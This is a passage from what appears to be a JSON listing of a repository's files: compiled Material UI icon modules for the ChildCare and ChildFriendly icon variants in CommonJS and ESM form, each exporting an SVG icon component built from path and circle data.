    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.94 11.34c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2m-7 3c2.01 0 3.74-1.23 4.5-3h-9c.76 1.77 2.49 3 4.5 3\"\n}, \"2\")], 'ChildCareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.1 14H7.9c-.19 0-.32.2-.23.37C8.5 15.94 10.13 17 12 17s3.5-1.06 4.33-2.63c.08-.17-.05-.37-.23-.37m6.84-2.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"2\")], 'ChildCareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.1 14H7.9c-.19 0-.32.2-.23.37C8.5 15.94 10.13 17 12 17s3.5-1.06 4.33-2.63c.08-.17-.05-.37-.23-.37m6.84-2.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"2\")], 'ChildCareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c2.01 0 3.74-1.23 4.5-3h-9c.76 1.77 2.49 3 4.5 3m10.94-5.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"2\")], 'ChildCareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c2.01 0 3.74-1.23 4.5-3h-9c.76 1.77 2.49 3 4.5 3m10.94-5.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"2\")], 'ChildCareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10c-.1 0-.19.02-.29.03-.2-.67-.49-1.29-.86-1.86C16.6 6.26 14.45 5 12 5S7.4 6.26 6.15 8.17c-.37.57-.66 1.19-.86 1.86-.1-.01-.19-.03-.29-.03-1.1 0-2 .9-2 2s.9 2 2 2c.1 0 .19-.02.29-.03.2.67.49 1.29.86 1.86C7.4 17.74 9.55 19 12 19s4.6-1.26 5.85-3.17c.37-.57.66-1.19.86-1.86.1.01.19.03.29.03 1.1 0 2-.9 2-2s-.9-2-2-2m-4.5-.75c.69 0 1.25.56 1.25 1.25s-.56 1.25-1.25 1.25-1.25-.56-1.25-1.25.56-1.25 1.25-1.25m-5 0c.69 0 1.25.56 1.25 1.25s-.56 1.25-1.25 1.25-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M12 17c-2.01 0-3.74-1.23-4.5-3h9c-.76 1.77-2.49 3-4.5 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c2.01 0 3.74-1.23 4.5-3h-9c.76 1.77 2.49 3 4.5 3m10.94-5.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"3\")], 'ChildCareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildCareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10c-.1 0-.19.02-.29.03-.2-.67-.49-1.29-.86-1.86C16.6 6.26 14.45 5 12 5S7.4 6.26 6.15 8.17c-.37.57-.66 1.19-.86 1.86-.1-.01-.19-.03-.29-.03-1.1 0-2 .9-2 2s.9 2 2 2c.1 0 .19-.02.29-.03.2.67.49 1.29.86 1.86C7.4 17.74 9.55 19 12 19s4.6-1.26 5.85-3.17c.37-.57.66-1.19.86-1.86.1.01.19.03.29.03 1.1 0 2-.9 2-2s-.9-2-2-2m-4.5-.75c.69 0 1.25.56 1.25 1.25s-.56 1.25-1.25 1.25-1.25-.56-1.25-1.25.56-1.25 1.25-1.25m-5 0c.69 0 1.25.56 1.25 1.25s-.56 1.25-1.25 1.25-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M12 17c-2.01 0-3.74-1.23-4.5-3h9c-.76 1.77-2.49 3-4.5 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10.5\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c2.01 0 3.74-1.23 4.5-3h-9c.76 1.77 2.49 3 4.5 3m10.94-5.66c-.25-1.51-1.36-2.74-2.81-3.17-.53-1.12-1.28-2.1-2.19-2.91C16.36 3.85 14.28 3 12 3s-4.36.85-5.94 2.26c-.92.81-1.67 1.8-2.19 2.91-1.45.43-2.56 1.65-2.81 3.17Q1 11.655 1 12t.06.66c.25 1.51 1.36 2.74 2.81 3.17.52 1.11 1.27 2.09 2.17 2.89C7.62 20.14 9.71 21 12 21s4.38-.86 5.97-2.28c.9-.8 1.65-1.79 2.17-2.89 1.44-.43 2.55-1.65 2.8-3.17q.06-.315.06-.66t-.06-.66M19 14c-.1 0-.19-.02-.29-.03-.2.67-.49 1.29-.86 1.86C16.6 17.74 14.45 19 12 19s-4.6-1.26-5.85-3.17c-.37-.57-.66-1.19-.86-1.86-.1.01-.19.03-.29.03-1.1 0-2-.9-2-2s.9-2 2-2c.1 0 .19.02.29.03.2-.67.49-1.29.86-1.86C7.4 6.26 9.55 5 12 5s4.6 1.26 5.85 3.17c.37.57.66 1.19.86 1.86.1-.01.19-.03.29-.03 1.1 0 2 .9 2 2s-.9 2-2 2\"\n}, \"3\")], 'ChildCareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendly.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m6.32 13.89C20.37 14.54 21 12.84 21 11H6.44l-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendly');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendly.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m6.32 13.89C20.37 14.54 21 12.84 21 11H6.44l-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendly');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m2 6V4.34c1.7.6 3.05 1.95 3.66 3.66zm-8.56 3-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61C20.37 14.54 21 12.84 21 11zM8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20m.74-5.34-.29.37c-.14-.02-.3-.03-.45-.03-1.39 0-2.6.82-3.16 2h-2.68c-.5-1.04-1.5-1.8-2.68-1.97l-.44-.67c-.1-.17-.34-.69-.67-1.36h11.29c-.21.59-.52 1.15-.92 1.66\"\n}), 'ChildFriendlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m2 6V4.34c1.7.6 3.05 1.95 3.66 3.66zm-8.56 3-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61C20.37 14.54 21 12.84 21 11zM8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20m.74-5.34-.29.37c-.14-.02-.3-.03-.45-.03-1.39 0-2.6.82-3.16 2h-2.68c-.5-1.04-1.5-1.8-2.68-1.97l-.44-.67c-.1-.17-.34-.69-.67-1.36h11.29c-.21.59-.52 1.15-.92 1.66\"\n}), 'ChildFriendlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3.08V10h8c0-4.03-2.98-7.37-6.86-7.92-.6-.09-1.14.39-1.14 1m6.32 12.81C20.37 14.54 21 12.84 21 11H6.44l-.68-1.43C5.6 9.22 5.24 9 4.86 9H3c-.55 0-1 .45-1 1s.45 1 1 1h1.22s1.89 4.07 2.12 4.42c-1.33.71-2.14 2.27-1.74 3.94.3 1.26 1.34 2.27 2.6 2.55 2.1.46 3.98-.96 4.25-2.91h2.08c.27 1.94 2.14 3.36 4.22 2.92 1.27-.27 2.31-1.27 2.63-2.53.35-1.39-.14-2.68-1.06-3.5M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3.08V10h8c0-4.03-2.98-7.37-6.86-7.92-.6-.09-1.14.39-1.14 1m6.32 12.81C20.37 14.54 21 12.84 21 11H6.44l-.68-1.43C5.6 9.22 5.24 9 4.86 9H3c-.55 0-1 .45-1 1s.45 1 1 1h1.22s1.89 4.07 2.12 4.42c-1.33.71-2.14 2.27-1.74 3.94.3 1.26 1.34 2.27 2.6 2.55 2.1.46 3.98-.96 4.25-2.91h2.08c.27 1.94 2.14 3.36 4.22 2.92 1.27-.27 2.31-1.27 2.63-2.53.35-1.39-.14-2.68-1.06-3.5M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m6.32 13.89C20.37 14.54 21 12.84 21 11H6.44l-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m6.32 13.89C20.37 14.54 21 12.84 21 11H6.44l-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61M8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20\"\n}), 'ChildFriendlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4.34V8h3.66C18.05 6.3 16.7 4.95 15 4.34M8.04 14.36l.44.67c1.19.16 2.19.92 2.68 1.97h2.68c.56-1.18 1.77-2 3.16-2 .15 0 .31.01.46.03l.29-.37c.4-.51.7-1.07.92-1.66H7.37c.32.67.57 1.19.67 1.36\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m2 6V4.34c1.7.6 3.05 1.95 3.66 3.66zm-8.56 3-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61C20.37 14.54 21 12.84 21 11zM8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20m.74-5.34-.29.37c-.14-.02-.3-.03-.45-.03-1.39 0-2.6.82-3.16 2h-2.68c-.5-1.04-1.5-1.8-2.68-1.97l-.44-.67c-.1-.17-.34-.69-.67-1.36h11.29c-.21.59-.52 1.15-.92 1.66\"\n}, \"1\")], 'ChildFriendlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChildFriendlyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4.34V8h3.66C18.05 6.3 16.7 4.95 15 4.34M8.04 14.36l.44.67c1.19.16 2.19.92 2.68 1.97h2.68c.56-1.18 1.77-2 3.16-2 .15 0 .31.01.46.03l.29-.37c.4-.51.7-1.07.92-1.66H7.37c.32.67.57 1.19.67 1.36\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2v8h8c0-4.42-3.58-8-8-8m2 6V4.34c1.7.6 3.05 1.95 3.66 3.66zm-8.56 3-.95-2H2v2h2.22s1.89 4.07 2.12 4.42c-1.1.59-1.84 1.75-1.84 3.08C4.5 20.43 6.07 22 8 22c1.76 0 3.22-1.3 3.46-3h2.08c.24 1.7 1.7 3 3.46 3 1.93 0 3.5-1.57 3.5-3.5 0-1.04-.46-1.97-1.18-2.61C20.37 14.54 21 12.84 21 11zM8 20c-.83 0-1.5-.67-1.5-1.5S7.17 17 8 17s1.5.67 1.5 1.5S8.83 20 8 20m9 0c-.83 0-1.5-.67-1.5-1.5S16.17 17 17 17s1.5.67 1.5 1.5S17.83 20 17 20m.74-5.34-.29.37c-.14-.02-.3-.03-.45-.03-1.39 0-2.6.82-3.16 2h-2.68c-.5-1.04-1.5-1.8-2.68-1.97l-.44-.67c-.1-.17-.34-.69-.67-1.36h11.29c-.21.59-.52 1.15-.92 1.66\"\n}, \"1\")], 'ChildFriendlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderMode.js",
